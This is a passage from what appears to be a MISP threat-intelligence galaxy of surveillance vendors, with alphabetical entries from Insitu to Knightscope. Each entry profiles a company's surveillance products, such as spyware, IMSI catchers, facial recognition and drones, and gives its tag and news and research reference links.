https://www.haaretz.com/israel-news/security-aviation/2024-04-11/ty-article/.premium/israel-tried-to-keep-sensitive-spy-tech-under-wraps-it-leaked-abroad/0000018e-c948-d480-a99e-cf5f24900000

Insitu

Insitu, founded in 1994 and now a subsidiary of Boeing, provides drone technology used for surveillance purposes. Its flagship product is ScanEagle, which provides real-time intelligence and civilian surveillance missions. ScanEagle is heavily marketed to Gulf Cooperation Council (GCC), which include Bahrain, Kuwait, Oman, Qatar, Saudi Arabia, and the United Arab Emirates.

The tag is: *misp-galaxy:surveillance-vendor="Insitu"*

Table 17789. Table References

Links
https://breakingdefense.com/2022/02/insitu-seeking-enhanced-partnerships-in-gulf-including-joint-research/

Intecs

Intecs GmbH is a provider of surveillance and intelligence gathering technologies tailored for government and police agencies. Their product offerings include digital audio surveillance tools with data processing, monitoring solutions for cellular and satellite data, and video surveillance systems with high-speed transmission capabilities using RF, cellular, and IP-based technologies.

The tag is: *misp-galaxy:surveillance-vendor="Intecs"*

Table 17790. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://intecs-security.de/

Integrity Labs

Integrity Labs Ltd. is a private company established in December 2024 and based in Herzliya, Israel. The company is directed by Naftali Yoran. Integrity Labs Ltd. was created following the acquisition of Candiru's assets by U.S.-based investment firm Integrity Partners in a $30 million deal. This strategic move allowed Candiru's operations to continue under a new corporate identity, circumventing U.S. sanctions imposed in 2021 that had placed Candiru on the U.S. Entity List due to national security concerns.

Research by Recorded Future's Insikt Group revealed new infrastructure linked to Candiru's spyware, known as DevilsTongue. This infrastructure includes operational clusters in Hungary and Saudi Arabia, suggesting that the spyware continues to be active in these regions. Integrity Labs Ltd. was identified within Candiru's corporate network.

The tag is: *misp-galaxy:surveillance-vendor="Integrity Labs"*

Table 17791. Table References

Links
https://www.recordedfuture.com/research/tracking-candirus-devilstongue-spyware
https://www.calcalistech.com/ctechnews/article/r1er11mi61e
https://therecord.media/candiru-spyware-active-infrastructure-hungary-saudi-arabia

IntelEye

Maor Sellek and Ziv Haba, two former employees of Israeli firm NSO Group behind Pegasus spyware, have teamed with business development specialist Oshrat Kakon Faribai to found the start-up IntelEye. According to Israel Hayom, "Inteleye is an intelligence firm specialized in gathering dark web and encrypted messaging data while cooperating with global governments."

The tag is: *misp-galaxy:surveillance-vendor="IntelEye"*

Table 17792. Table References

Links
https://theintercept.com/2024/05/23/israel-spyware-pegasus-shalev-hulio-ai-inteleye/
https://www.israelhayom.com/2024/04/09/israeli-company-helps-takes-down-hamas-propaganda-machine-online/
https://www.intelligenceonline.com/surveillance—interception/2023/12/15/nso-group-veterans-launch-osint-start-up-inteleye,110119469-art

Intellifusion

Intellifusion is an AI vision company whose "DeepEye" platform provides non-cooperative facial recognition and large-scale video deployments. The platform’s capabilities include face recognition cameras, visual analysis engines, structured recognition engines, and police mobile terminals. The company was founded in 2014 and based in Shenzhen.

The tag is: *misp-galaxy:surveillance-vendor="Intellifusion"*

Table 17793. Table References

Links
https://fortune.com/2018/10/28/in-china-facial-recognition-tech-is-watching-you/
https://www.swfinstitute.org/news/78652/intellifusion-raises-more-capital-walden-international-helps-lead-investment-round
https://businessmirror.com.ph/2019/02/23/companies-behind-chinas-high-tech-surveillance-state/
https://mezha.media/en/news/noviy-ceo-intel-investuvav-u-600-kitayskih-kompaniy-301086/
https://www.scmp.com/tech/china-tech/article/2138960/jaywalkers-under-surveillance-shenzhen-soon-be-punished-text
https://selectcommitteeontheccp.house.gov/media/press-releases/select-committee-launches-investigations-us-venture-capital-firms-funding

Intelligo

Intelligo is an Israeli company that develops intelligence tools and AI-driven software for background checks. Their platform, Clarity, utilizes AI to gather and analyze data from various sources, including social media and a range of databases. Clarity can also continuously monitor and

recheck a target's background, flagging new data in real time, while using AI to identify patterns and connections in such data.

Intelligo's advisory board includes former heads of intelligence agencies, such as Pinhas Buchris, former head of the Israeli Ministry of Defense's Unit 8200, and Michael McConnell, former head of the U.S. National Security Agency.

The tag is: *misp-galaxy:surveillance-vendor="Intelligo"*

Table 17794. Table References

Links
https://www.israel21c.org/intelligo-gives-background-checks-the-ai-treatment/
https://www.jpost.com/israel-news/israeli-experts-use-ai-to-solve-us-background-checks-backlog-547306
https://aimagazine.com/data-and-analytics/intelligo-background-intelligence-powered-ai
https://www.felicitasgp.com/post/intelligo-receives-22-million-investment-from-felicitas-global-partners

IntelliVision

IntelliVision is a video analytics company that provides AI and Deep Learning-based surveillance technologies for use with CCTV cameras. It also offers an ALPR system for license plate detection, recognition and search. The company primarily works with law enforcement agencies. In 2024, IntelliVision was acquired by Nipun Vision. In 2025, the Federal Trade Commission took action against the company for making false, misleading, or unsubstantiated claims about its AI-powered facial recognition software.

The tag is: *misp-galaxy:surveillance-vendor="IntelliVision"*

Table 17795. Table References

Links
https://www.biometricupdate.com/201901/intellivision-beefs-up-its-face-recognition-tech-with-liveness-detection
https://www.ftc.gov/news-events/news/press-releases/2025/01/ftc-finalizes-order-prohibiting-intellivision-making-deceptive-claims-about-its-facial-recognition
https://www.intelli-vision.com/facial-recognition/
https://www.asmag.com/showpost/23966.aspx
https://www.traffictechnologytoday.com/news/machine-vision-alpr/intellivision%C2%92s-new-ai-deep-learning-based-lpr-engine-achieving-near-perfect-accuracy.html
https://www.prweb.com/releases/leading-video-ai-vendor-intellivision-acquired-by-nipun-vision-302295448.html
https://www.intelli-vision.com/wp-content/uploads/2017/09/face_reco.pdf

IntellSec

IntellSec is a supplier of intelligence technology for government and industry contracts. Founded in 2017 by Milan Blagojevic, IntellSec distributes interceptions, geolocation, and digital forensics technologies, as well as bugsweeping tools. The company primarily serves as an intermediary for European and Israeli technology, with ties to the British geolocation firm Hiddentec and the US-Israeli startup D-Fend Solutions.

In February 2025, a director of IntellSec was arrested in connection with corruption charges related to the state energy company EPS. The Balkan Investigative Reporting Network (BIRN) reported that IntellSec participated in tenders in which EPS obtained sophisticated surveillance equipment and software.

The tag is: *misp-galaxy:surveillance-vendor="IntellSec"*

Table 17796. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2021/06/09/intellsec-purveys-western-cyber-intelligence-tools-in-balkans,109672033-art
https://balkaninsight.com/wp-content/uploads/2024/06/Digital-surveillance-in-Serbia.pdf
https://balkaninsight.com/2025/02/12/serbia-arrests-former-state-electricity-chief-on-corruption-charges/

Intelos

Intelos, also known as Adhoc, is an Israeli firm specializing in geolocation tracking and spyware distribution through online advertising. The company has established a significant presence in Asia, particularly with its operations in Hong Kong. Founded by Eric Banoun, co-founder of Israeli spyware firm Circles, and Roy Shloman, a former partner at surveillance firm Senpai Technologies, Intelos is also partially owned by Hong Kong-based Colibri Technologies, which Banoun founded in 2017. Shloman's Senpai is best known for helping Malaysia's government spy on opposition.

The tag is: *misp-galaxy:surveillance-vendor="Intelos"*

Table 17797. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2023/11/03/israeli-hong-kong-technical-intelligence-connection-revived,110084299-art
https://www.calcalistech.com/ctech/articles/0,7340,L-3828013,00.html
https://www.intelligenceonline.com/surveillance—interception/2024/05/17/israeli-intelos-sets-its-sights-on-asia,110227017-art
https://en.checkid.co.il/company/INTELOSLTD-rMe9OMy-515926749[https://en.checkid.co.il/company/INTELOSLTD-rMe9OMy-515926749]

Intrado

Intrado, formerly known as West Corporation, is the company behind Beware, a surveillance tool used by police departments to analyze data from various sources, including social media. It assigns "threat levels" to residents based on their publicly available social media activity. Since it was revealed that it was being used by the Fresno Police Department in California, the ACLU has raised concerns about its accuracy, potential for misuse, and the lack of transparency around its use.

The tag is: *misp-galaxy:surveillance-vendor="Intrado"*

Table 17798. Table References

Links
https://abc30.com/fresno-police-social-media-big-brother-software/525999/
https://www.businessinsider.com/intrado-beware-system-tracks-threat-levels-2016-1
https://www.aclunc.org/blog/surveillance-software-probably-spying-blacklivesmatter
https://ir.intrado.com/news-releases/news-release-details/west-corporation-announces-rebrand-intrado

IntuView

IntuView have contracts with Saudi Arabia for efforts that include scanning Saudi citizens' data. Its advisory board consists of a former head of Mossad and a former director of the CIA.

The tag is: *misp-galaxy:surveillance-vendor="IntuView"*

Table 17799. Table References

Links
https://www.bloomberg.com/news/features/2017-02-02/how-do-israel-s-tech-firms-do-business-in-saudi-arabia-very-quietly

Invasys

Founded in 2017 in Brno, Czech Republic, by former Norwegian government security adviser Kyrre Sletsjoe, Invasys is a discreet developer of surveillance technologies. The company develops ways for intelligence services to bypass smartphone encryption and improve their interception capabilities. Building on Sletsjoe’s previous venture, Cepia Technologies, Invasys exploits vulnerabilities in GSM communication protocols, particularly the widely used A5 encryption.

Invasys often markets its surveillance and interception products in trade shows like ISS, IPAS and IDEX.

The tag is: *misp-galaxy:surveillance-vendor="Invasys"*

Table 17800. Table References

Links

https://www.intelligenceonline.com/surveillance—interception/2019/04/09/invasys-from-mobile-interception-to-cyber-intelligence,108352829-art
https://www.haaretz.com/israel-news/security-aviation/2023-12-08/ty-article/.premium/at-defense-and-arms-expo-israeli-cyber-is-out-but-surveillance-tech-in/0000018c-49da-db23-ad9f-69da26e10000
https://dfrlab.org/wp-content/uploads/sites/3/2024/09/Mythical-Beasts.pdf
https://www.invasys.com/

iOmniscient

iOmniscient is a developer of AI-driven surveillance technologies, offering monitoring solutions like facial recognition, behavioral analytics, and crowd management. Their technology has been deployed in over 50 countries. In Hong Kong, the company's AI tools were suspected to be used by police to identify individuals in crowds and match faces against databases during the 2019 pro-democracy protests. iOmniscient's technology is also employed by the Saudi Customs Department at the Al Hadithah border crossing between Saudi Arabia and Jordan. Its clients also include the Chinese army.

The company's facial recognition system claims to be highly advanced, capable of identifying and matching faces against databases even in crowded and uncontrolled environments. The system can track individuals across multiple non-overlapping cameras, providing continuous monitoring of their movements. The system integrates with video management tools, such as those provided by Cisco, to alert law enforcement in realtime. The company partnered with Cisco to install its facial recognition technology at the University of San Francisco.

iQ-Prison is iOmniscient's surveillance product for prisons.

The tag is: *misp-galaxy:surveillance-vendor="iOmniscient"*

Table 17801. Table References

Links
https://www.licas.news/2019/10/24/hong-kong-protesters-fear-mainland-style-facial-recognition-technology/
https://www.biometricupdate.com/201410/iomniscient-and-cisco-provide-facial-recognition-solution-to-university-of-san-francisco
https://www.bloomberg.com/news/articles/2019-10-22/hong-kong-police-already-have-ai-tech-that-can-recognize-faces
https://www.afr.com/politics/federal/no-kill-switch-on-facial-recognition-software-sold-to-hk-20191024-p533w7
https://idtechwire.com/hong-kong-police-refuse-to-confirm-or-deny-use-of-facial-recognition-on-protestors-610231/
https://www.crikey.com.au/2022/08/19/artificial-intelligence-prison-suicide-security-expo/
https://iomni.ai/managing-customs-on-the-saudi-arabian-jordan-border/

https://www.afr.com/technology/your-face-is-about-to-end-your-privacy-how-do-you-feel-about-that-20190130-h1anyy

iProov

iProov is a biometric technology company that develops facial recognition software. The U.S. Department of Homeland Security (DHS) and Frontex (the European Border and Coast Guard Agency) have adopted iProov's tools for use on borders. iProov's systems claim to utilize advanced AI to perform liveness detection as part of their verification process.

The tag is: *misp-galaxy:surveillance-vendor="iProov"*

Table 17802. Table References

Links
https://www.biometricupdate.com/202303/iproov-awarded-nearly-750k-by-dhs-st-in-fifth-phase-funding
https://www.biometricupdate.com/202501/inverid-and-iproov-revealed-as-developers-for-frontex-travel-to-europe-ees-app
https://www.theguardian.com/society/2021/sep/15/nhs-app-storing-facial-verification-data-via-contract-with-firm-linked-to-tory-donors
https://www.nbcnews.com/tech/tech-news/singapore-facial-recognition-getting-woven-everyday-life-n1242945

IPS Intelligence

IPS (Intelligence Positioning Solutions) is an Italian company specializing in the development and provision of advanced communication monitoring tools and GPS tracking. IPS caters specifically to Homeland Security Departments and Intelligence Agencies, providing capabilities for intercepting, collecting, and extensively analyzing diverse data types. These include phone calls, Internet traffic, data from electronic surveillance devices, and information sourced from third-party databases.

Their operations cover a wide range of online platforms such as Facebook, Instagram, LinkedIn, YouTube, TikTok, Snapchat, Reddit, X (formerly Twitter) and GitHub. A customer in Tunisia leveraged IPS's services to conduct phishing and social engineering attacks, including IP tracking, demonstrating how the surveillance-for-hire firm provides a full spectrum of tools for invasive surveillance.

The tag is: *misp-galaxy:surveillance-vendor="IPS Intelligence"*

Table 17803. Table References

Links
https://www.ips-intelligence.com/en/about
https://transparency.fb.com/sr/Q4-2023-Adversarial-threat-report

https://www.forbes.com/sites/thomasbrewster/2024/02/14/ai-spies-on-facebook-instagram-meta-warns/
https://www.intelligenceonline.com/surveillance—interception/2023/10/06/italian-cyber-fills-gaps-left-by-france-israel,110062360-art

Ipsotek

Ipsotek, an Eviden business, provides AI-powered video analytics for law enforcement agencies. Its platform, VISuite AI, enables real-time detection of events while performing facial recognition, license plate recognition, and crowd monitoring. The patented “Tag and Track” system allows police to follow individuals or vehicles across multiple camera feeds. The company claims its products are widely adopted by police agencies worldwide.

In 2021, it was acquired by Atos, a multinational information technology (IT) service and consulting company headquartered in France.

The tag is: *misp-galaxy:surveillance-vendor="Ipsotek"*

Table 17804. Table References

Links
https://www.ipsotek.com/products/tag-and-track/
https://www.ipsotek.com/atos-completes-acquisition-of-ipsotek/
https://infohub.delltechnologies.com/nl-nl/l/computer-vision-for-sports-and-entertainment/partner-overview-2/
https://www.securitymiddleeastmag.com/ipsoteks-innovations-and-transformative-mindset/
https://eviden.com/solutions/artificial-intelligence/computer-vision/
https://www.securityinfowatch.com/gsx/article/55142006/video-analytics-firm-ipsotek-looking-to-increase-footprint-in-us
https://www.jdsecurity.com.au/wp-content/uploads/2016/01/ipsotek-brochure.pdf

Iristar

Iristar is a Chinese company that develops facial and iris recognition technologies, with strong ties to China’s government. According to Intelligence Online, it collaborates with other major Chinese tech and surveillance firms like Huawei, Hanwang and Megvii.

The tag is: *misp-galaxy:surveillance-vendor="Iristar"*

Table 17805. Table References

Links
https://www.intelligenceonline.com/international-dealmaking/2021/06/01/iristar-carves-role-as-biometrics-expert-to-gonganbu-and-partner-to-high-tech-industries,109670160-art
http://www.iristar.com.cn/index

https://dfkcompany.com/iristar/

Iskra Technologies

Iskra Technologies, formerly known as IskraUralTEL, is a Russian company that provides communication equipment, digital platforms, and automation systems that facilitate surveillance.

In 2013, Privacy International reported that IskraUralTEL had developed at least three components of SORM (System for Operative Investigative Activities), a Russian state-mandated surveillance system. Historical documentation from Iskratel in 2017 also suggests involvement in such systems.

Iskra Technologies also provides products for interception. Specifically, their Data Network Lawful Interception Solution enables the monitoring and interception of communications across various networks, including fixed, mobile, and broadband. This supports real-time data collection, processing, and delivery to law enforcement agencies.

The tag is: *misp-galaxy:surveillance-vendor="Iskra Technologies"*

Table 17806. Table References

Links
https://privacyinternational.org/blog/1270/ex-soviet-states-russian-spy-tech-still-watches-you
https://go.recordedfuture.com/hubfs/reports/ta-ru-2025-0107.pdf
https://www.iskratel.com/en/files/default/Documents/Leaflets/Telco/EN/Iskratel-Data-Network-Lawful-Interception-Solution.pdf

Ismallcell Biz

Ismallcell Biz in Mexico is a manufacturer, supplier, and exporter of surveillance and communication interception technologies. Based in Mexico City, the company develops and distributes products such as GSM IMSI Catchers, Active GSM Interceptors, and Small Cell devices, which are used for intercepting, tracking, and recording mobile network signals.

The tag is: *misp-galaxy:surveillance-vendor="Ismallcell Biz"*

Table 17807. Table References

Links
https://www.openpr.com/news/2518355/false-base-station-fbs-market-technology-is-used
https://www.ismallcellcatcher.com/smart-imsi-catcher-4247726.html
https://www.tradeindia.com/products/gsm-wcdma-lte-interceptor-4966883.html

iSolv Technologies

iSolv Technologies is a South African-based company that develops communication monitoring and interception systems. It primarily caters to law enforcement and intelligence agencies worldwide.

Its products, such as the Recall Monitoring Centre (RMC), enable targeted and mass surveillance of fixed-line, mobile, and internet communications. Other products include IP Intercept, a solution for intercepting IP-based communications. The company maintains a partnership with Microsoft.

The tag is: *misp-galaxy:surveillance-vendor="iSolv Technologies"*

Table 17808. Table References

Links
https://www.techzim.co.zw/2013/11/chartered-systems-integrated-csi-announce-partnership-isolv/
https://www.youtube.com/watch?v=0kWZLGjYIow
https://www.isolvtech.com/products/

Israel Aerospace Industries

Israel Aerospace Industries is a defense company based in Israel. In recent years, it has been involved in significant developments and collaborations, including surveillance deals with the United Arab Emirates through drone-development deals with Edge Group, a government-owned defense company in the UAE.

The tag is: *misp-galaxy:surveillance-vendor="Israel Aerospace Industries"*

Table 17809. Table References

Links
https://circuit.news/2022/09/05/weekly-circuit-uae-israel-cyber-firm-grows-with-its-perch-in-the-gulf-dubai-meets-tel-aviv/
https://newlinesmag.com/spotlight/the-israeli-drones-guarding-fortress-europe/
https://www.reuters.com/world/africa/morocco-acquire-israeli-spy-satellite-worth-1-bln-media-2024-07-10/

iTeco

iTeco is a Russian IT company that has developed surveillance technologies compatible with Russia's System for Operative Investigative Activities (SORM). iTeco's information analysis system, Xfiles, has been utilized by Russian security services to monitor online sources, including media outlets, blogs, forums and social networks. This system helps automate the collection and analysis of online content, allowing authorities to track and identify dissenting material.

The tag is: *misp-galaxy:surveillance-vendor="iTeco"*

Table 17810. Table References

Links
https://www.opendemocracy.net/en/odr/russian-state-and-surveillance-technology/
https://www.marketscreener.com/quote/stock/SBERBANK-OF-RUSSIA-6494829/news/Sberbank-Rossii-to-Form-Joint-Venture-with-I-Teco-34764041/

https://foreignpolicy.com/2013/04/05/russias-digital-underground/
https://public.opentech.fund/documents/English_Weber_WWW_of_Information_Controls_Final.pdf

Jacobs

Jacobs Technology is a provider of surveillance tools, including cell-site simulators (CSS), to law enforcement and intelligence agencies. These devices, often referred to as "Stingrays," allow authorities to intercept cell phone data and track locations covertly. Jacobs, which acquired the manufacturer KeyW in 2019, has deployed over 300 such simulators globally, including in the U.S., Europe, and Australia.

Jacobs' simulators are designed for covert use, often mounted in vehicles for mobile deployment. They support cellular and Wi-Fi data collection across 2G to 5G networks and are expandable for future capabilities.

The tag is: *misp-galaxy:surveillance-vendor="Jacobs"*

Table 17811. Table References

Links
https://theshoestring.org/2024/04/05/mass-surveillance-cell-tower-simulator-coming-to-a-silverado-near-you/
https://www.eff.org/deeplinks/2024/06/next-generation-cell-site-simulators-here-heres-what-we-know
https://www.offgridweb.com/preparation/cell-phone-surveillance-can-they-hear-you-now/
https://www.jacobs.com/newsroom/press-release/jacobs-completes-acquisition-keyw
https://invest.jacobs.com/news/news-details/2024/Jacobs-Awarded-132-Million-UK-Ministry-of-Defence-Research-and-Technology-Contract/default.aspx
https://drive.google.com/file/d/1tLGIrcNoh9ocKXJM7nQQNkEM0XPMQXnU/view

Jenoptik

Jenoptik is the German company behind TraffiCatch, a mass surveillance tool designed to capture Bluetooth and wireless signals emitted by everyday devices, including smartphones, smartwatches, earbuds, and car entertainment systems. Recently deployed at the U.S. border, this tool enables real-time tracking of individuals by associating wireless signals with vehicles identified through license plate readers.

The tag is: *misp-galaxy:surveillance-vendor="Jenoptik"*

Table 17812. Table References

Links
https://www.notus.org/technology/war-zone-surveillance-border-us

https://www.wired.com/story/border-surveillance-india-assassination-project-nimbus-security-roundup/
https://www.eff.org/deeplinks/2024/05/add-bluetooth-long-list-border-surveillance-technologies
https://trademarks.justia.com/793/05/trafficatch-79305679.html
https://www.bm-t.de/investee-partner/

Jingwang Weishi

Jingwang Weishi is a mobile application designed by Shanghai Landasoft Data Technology Inc. that is utilized for content control purposes, notably by authorities in Xinjiang, China. Residents are required to install the JingWang app, which scans devices for specific files. Cybersecurity researchers found that the app has poor security practices, transferring data without encryption and sending sensitive device information and file metadata to a remote server in China. The app scans for files using MD5 hashes and threatens users with detention for not complying.

The tag is: *misp-galaxy:surveillance-vendor="Jingwang Weishi"*

Table 17813. Table References

Links
https://public.opentech.fund/documents/OTF_JingWang_Report_v2.pdf
https://www.vice.com/en/article/ne94dg/jingwang-app-no-encryption-china-force-install-urumqi-xinjiang
https://www.buzzfeednews.com/article/meghara/china-surveillance-app

Johnson Controls

Johnson Controls is a provider of video surveillance technologies. Its portfolio includes IP and analog cameras paired with intelligent DVRs and NVRs that record, analyze, and manage footage in real time. They power the facial recognition technology installed in the subway in São Paulo, Brazil. They also supply the facial recognition technology at the BEEAH Headquarters in Sharjah, United Arab Emirates, which claims to be the first fully AI-integrated building in the Middle East. They currently operate in more than 150 countries.

The tag is: *misp-galaxy:surveillance-vendor="Johnson Controls"*

Table 17814. Table References

Links
https://www.accessnow.org/wp-content/uploads/2021/08/Surveillance-Tech-Latam-Report.pdf
https://idec.org.br/noticia/acao-questiona-falta-de-transparencia-e-solicita-informacoes-sobre-licitacao-do-metro-de-sp
https://www.johnsoncontrols.com/media-center/news/press-releases/2023/02/28/beeah-headquarters-receives-blueprint-of-the-future-award

https://www.securityinfowatch.com/video-surveillance/cameras/article/55283642/johnson-controls-the-camera-as-the-everything-toolqa-with-johnson-controls-greg-parker
https://www.business-humanrights.org/en/latest-news/johnson-controls-did-not-respond-to-allegations-about-sale-of-surveillance-technology-in-latin-america-questions-from-cso-on-human-rights/

Jouav

Jouav is a Chinese manufacturer of aerial surveillance technologies. Its aircraft, including the CW-15, CW-25E, CW-30E, and CW-80E models, are designed with vertical take-off and landing capabilities and can operate for up to eight hours with a range of roughly 200 km. These drones include features such as high-resolution EO/IR cameras and LiDAR sensors for real-time surveillance and automated tracking of targets. They are typically used by Chinese authorities for border monitoring.

Its founders, Ren Bin and Wang Chen, were previously officers in the People's Liberation Army's General Armaments Department.

The tag is: *misp-galaxy:surveillance-vendor="Jouav"*

Table 17815. Table References

Links
https://www.intelligenceonline.com/corporate-intelligence/2020/11/18/jouav-touts-its-drones-to-pla,109622047-art
https://dronenews.africa/terracam-jouav-partnership/
https://www.jouav.com/case-study
https://dronelife.com/2024/06/21/jouav-launches-upgraded-ph-20-drone-system/
https://www.janes.com/osint-insights/defence-news/air/disenos-casanave-sells-cw-40d-reconnaissance-drones-to-peru-ukraine

JSI Telecom

JSI Telecom is a surveillance and analytics company. It holds significant contracts with U.S. federal agencies such as U.S. Immigration and Customs Enforcement (ICE), and provides support for the agency's "Title III digital collection system," enabling the interception of wire, oral, and electronic communications, including calls, texts, and emails. Since 2014, JSI Telecom has facilitated ICE's use of Title III orders, which can be issued for a wide range of purposes. In addition to its work with ICE, JSI Telecom also holds contracts with the FBI and has been implicated in a clandestine surveillance program involving multiple police forces across Ontario, Canada.

According to its website, JSI Telecom provides services to over 30 countries worldwide. In addition to its headquarters in Canada, it has offices in the U.S, Germany, and Australia.

The tag is: *misp-galaxy:surveillance-vendor="JSI Telecom"*

Table 17816. Table References

Links
https://privacyinternational.org/news-analysis/2995/ice-paying-millions-surveillance-company-spy-peoples-communications
https://www.vice.com/en/article/details-about-a-secret-police-surveillance-program-in-ontario-are-emerging/
https://web.archive.org/web/20240828201132/https://www.jsitelecom.com/about/

Kaseware

Kaseware is a Denver-based software company that facilitates surveillance activities for law enforcement and other agencies. Its co-founders helped build the FBI's investigation management solution in the U.S. Partnered with ShadowDragon and Microsoft, Kaseware provides a centralized investigative platform that integrates diverse data sources, including open-source intelligence (OSINT) from social media, websites, and other online platforms. This platform supports activities such as behavior analysis, predictive policing, and mapping the social graph and relationships of targets.

Kaseware's platform is used alongside ShadowDragon tools like SocialNet and OIMonitor, which allow for real-time monitoring of individuals across over 120 online platforms, including social media, dating apps, and the dark web.

The tag is: *misp-galaxy:surveillance-vendor="Kaseware"*

Table 17817. Table References

Links
https://theintercept.com/2021/09/21/surveillance-social-media-police-microsoft-shadowdragon-kaseware/
https://techxplore.com/news/2021-11-police-social-media-invasion-privacy.html
https://www.kaseware.com/post/kaseware-announces-strategic-investment-from-the-riverside-company
https://www.privateinternetaccess.com/blog/open-source-intelligence-osint-is-great-for-catching-bad-actors-but-it-can-also-be-used-against-the-good-ones-you-and-me/

Kavit

Kavit Electronics Industries Ltd, based in Israel, is a developer and distributor of electronic surveillance and communication interception technologies. Their products include IMSI catchers, which are used to intercept mobile communications, track devices, and gather intelligence.

According to its official website, the company's clients include the Israeli Security Services, Brazilian Police, Mexican Army, Nigerian Air Force, United Kingdom Ministry of Defense, US Police, Spanish Police, Italian Air Force, Royal Thai Army, and South Korean Military.

The tag is: *misp-galaxy:surveillance-vendor="Kavit"*

Table 17818. Table References

Links
https://www.prnewswire.com/news-releases/imsi-catcher-market-to-grow-by-usd-79-37-mn-comstrac-ltd-ismallcell-biz-kavit-electronics-industries-ltd-emerge-as-dominant-players—technavio-301655152.html
https://kavit.com/about/
https://kavit.com/imsi-catcher/

Kedacom

Kedacom is a company headquartered in Suzhou, Jiangsu, China and which specializes in surveillance and video technology. It has been actively involved in policing services through its advanced surveillance systems. Kedacom's technology is prominently used by the Dubai Police Department, where it has introduced a solution that combines mobile technology with artificial intelligence. This includes high-performance front-end cameras, artificial intelligence systems, and various devices such as body-worn cameras, 4G PTZ cameras, in-vehicle NVRs, and control pads. These components are integrated with a video surveillance platform to enable real-time video and audio acquisition, storage, and review.

The technology works by utilizing facial and vehicle recognition capabilities, allowing for real-time video transmission to police command centers. The system also supports deep learning algorithms and big data analysis.

Kedacom also offers the Falcon Human Recognition System, supporting up to 500,000 cameras and a face/human detection comparison library of up to 10 million entries, according to the company's official website. It boasts a face recognition accuracy of up to 98% and supports various camera types, including Kedacom's own and third-party IP cameras.

The tag is: *misp-galaxy:surveillance-vendor="Kedacom"*

Table 17819. Table References

Links
https://www.kedacom.com/en/stories/4657.jhtml [https://www.kedacom.com/en/stories/4657.jhtml]
https://www.kedacom.com/en/rykksxj/4648.jhtml
https://www.kedacom.com/en/u/cms/www/201912/26163742haqj.pdf
https://www.africaintelligence.com/southern-africa-and-islands/2024/04/30/president-lourenco-poised-to-sign-record-breaking-contract-with-chinese-group-kedacom,110221385-art

Key Technologies

Key Technologies, a company operating in the UAE and Greece, develops border surveillance and interception technologies. Founded in 2019 by Ferit Bonfil, a former expert in interception

countermeasures, the company has gained support from Abu Dhabi Catalyst Partners (ADCP), a joint venture between Mubadala Investment Company, a UAE-based sovereign wealth fund, and Falcon Edge Capital, a New York-based alternative asset manager which has rebranded itself as Alpha Wave Global.

According to Intelligence Online, Key Technologies showcased its Theia border monitoring system at a Milipol security trade fair in Paris in 2021. Theia features advanced capabilities, including a German-engineered SX800 optically stabilized lens, night vision with infrared laser illumination, geolocation, and telemetry tools. Notably, the system avoids restrictions under the US ITAR regulations and can be remotely controlled via 4G/5G networks or IP Mesh radio technology from Domo Tactical Communications (DTC).

The tag is: *misp-galaxy:surveillance-vendor="Key Technologies"*

Table 17820. Table References

Links
https://keytechnologies.ae/
https://www.intelligenceonline.com/surveillance—interception/2021/11/03/key-technologies-takes-environmental-route-to-supply-interception-tools-to-the-uae,109702599-art

Kickboard

Kickboard, a company acquired by PowerSchool, gathers data on students' behavior and social-emotional skills. This platform allows schools to track and analyze behavioral trends, disciplinary actions, and emotional development. As part of PowerSchool's suite of tools, Kickboard integrates this data with broader analytics, such as predictive risk scoring, detailed student profiles and other forms of student monitoring.

The tag is: *misp-galaxy:surveillance-vendor="Kickboard"*

Table 17821. Table References

Links
https://themarkup.org/machine-learning/2022/01/11/this-private-equity-firm-is-amassing-companies-that-collect-data-on-americas-children
https://www.businessinsider.com/edtech-powerschool-sells-student-data-lawsuit-2024-10
https://techcrunch.com/2013/02/27/with-2m-in-the-bank-kickboard-is-on-a-mission-to-help-teachers-unlock-student-data/
https://www.nola.com/news/business/kickboard-new-orleans-education-tech-company-bought-by-powerschool/article_a144077a-433a-11ec-8e6d-fbe49a194d66.html

Killer Mobile

Killer Mobile is a Las Vegas-based company that develops spyware tools marketed for both consumer and government use. Its products include Tracer, a call recording and tracking app, and FoxPhone, a tool designed for covert surveillance.

According to a Forbes investigation, Killer Mobile's cellphone surveillance tools were redistributed by Moscow-based tech dealer OpenGSM, which caters to both government agencies and everyday consumers.

The tag is: *misp-galaxy:surveillance-vendor="Killer Mobile"*

Table 17822. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2017/03/22/iphone-android-malware-from-las-vegas-in-russia-cybercrime-links/
https://www.forbes.com/sites/thomasbrewster/2017/02/16/government-iphone-android-spyware-is-the-same-as-seedy-spouseware/
https://medium.com/@TFoxBrewster/killer-mobile-tracking-american-android-and-ios-spyware-in-russia-b73cfb2ded75
https://x.com/killermobile/status/695266836644962304

Knightscope

Knightscope is a developer of Autonomous Security Robots (ASRs) that are equipped with facial recognition capabilities, Automatic License Plate Recognition (ALPR), and smartphone signal detection. The company claims their robots provide 360-degree high-definition surveillance, capturing continuous video footage that can be analyzed with AI.

The tag is: *misp-galaxy:surveillance-vendor="Knightscope"*

Table 17823. Table References

Links
https://blog.tenthamendmentcenter.com/2021/06/private-surveillance-company-scans-millions-of-license-plates-and-cell-phones/
https://www.therobotreport.com/knightscope-recieves-authority-to-operate-within-the-u-s-government/
https://www.nydailynews.com/2024/05/30/nypd-still-not-following-public-disclosure-law-on-high-tech-surveillance-gadgets-report/
https://knightscope.com/use-cases/homeowner-associations
https://www.nydailynews.com/2015/05/10/united-arab-emirates-to-introduce-patrolling-robocops-in-two-years/
https://www.washingtonpost.com/news/innovations/wp/2017/12/14/crime-fighting-robot-retired-after-launching-alleged-war-on-the-homeless/
https://qz.com/1154649/a-knightscope-security-robot-is-being-used-to-shoo-away-homeless-people-in-san-francisco
https://www.foxnews.com/tech/ai-cyborg-patrols-streets-live-360-degree-tracking
https://knightscope.com/products/k5

Kommlabs

